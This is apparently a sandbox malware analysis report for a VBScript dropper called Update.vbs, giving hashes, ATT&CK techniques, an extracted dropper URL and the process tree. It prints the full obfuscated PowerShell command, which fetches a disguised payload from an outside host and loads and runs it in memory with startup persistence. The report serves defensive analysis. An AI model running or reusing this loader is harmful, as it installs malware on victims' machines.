a8366bc01f3cdc7c41a5d08ef5e34bf8c6888e205f0c70892e7fa5a1bde2a3bb

Analysis

max time kernel
101s
max time network
102s
platform
windows11-21h2_x64
resource
win11-20250610-en
resource tags

arch:x64arch:x86image:win11-20250610-enlocale:en-usos:windows11-21h2-x64system
submitted
22/08/2025, 15:01

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General

Target
Update.vbs
Size 72KB
Sample250822-sebysawkz8
SHA256 a8366bc01f3cdc7c41a5d08ef5e34bf8c6888e205f0c70892e7fa5a1bde2a3bb
MD5 95bf9a3d79496b9061d703aa625daa7d
SHA1 633aa0176cc6cc554d2ae68b6a1addd184968dbd
SHA512 37d30febc0e7736aea7404510daa15cdf33c8305cfd22abf9772d540c60dcbc26172c84eb81da70a4e2e166d5c91c93fd7370d1fe8fb7fc7454e5da7149e0d1d
SSDEEP 1536:wm2Nnl280fQP5973X7KG0XCmrSMz6MMwLw0f0BWwKPjWlfx06N6UY4wKo/pEjsBX:gl28UQP5hX7KG0XCmrSMz6MMwLw0f0BI
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://archive.org/download/optimized_msi_20250814/optimized_MSI.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3116	5740	powershell.exe	78

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	3116	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3116	powershell.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3116	powershell.exe
3116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3116	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Update.vbs"
1⤵
PID:3892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JG51bGwgPSAoKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDgxNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPVFIZTA1Q2NWTjNiMDVXWnRWM1l2UkVNeVVTWQoNMFZHY3lGMlF2a2lNb0FqTWxFR2RsQm5jaE5HTXlVU1kyVldkTzlTTXhBRE82Y21jdjV5Y3VSMmFqVkhadVEzYnpOM0x2b0RjMFJIYSc7JHR5cGUgPSAkYXNzZW1ibHkuR2V0VHlwZSgnQ2xhc3NMaWJyYXJ5MS5Ib21lJyk7JG1ldGhvZCA9ICR0eXBlLkdldE1ldGhvZCgnVkFJJyk7JG1ldGhvZC5JbnZva2UoJG51bGwsIFtvYmplY3RbXV1AKCRvbGluaWEsJycsJycsJ05hbWVfRmlsZScsJ1JlZ0FzbScsJycsJ1JlZ0FzbScsJycsJycsJycsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCcnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Modifies trusted root certificate store through registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_t1dy10ft.0sp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t1dy10ft.0sp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3116-0-0x00000242EACC0000-0x00000242EACD0000-memory.dmp

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memory/3116-1-0x00000242EACD0000-0x00000242EACF2000-memory.dmp

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memory/3116-10-0x00000242EACC0000-0x00000242EACD0000-memory.dmp

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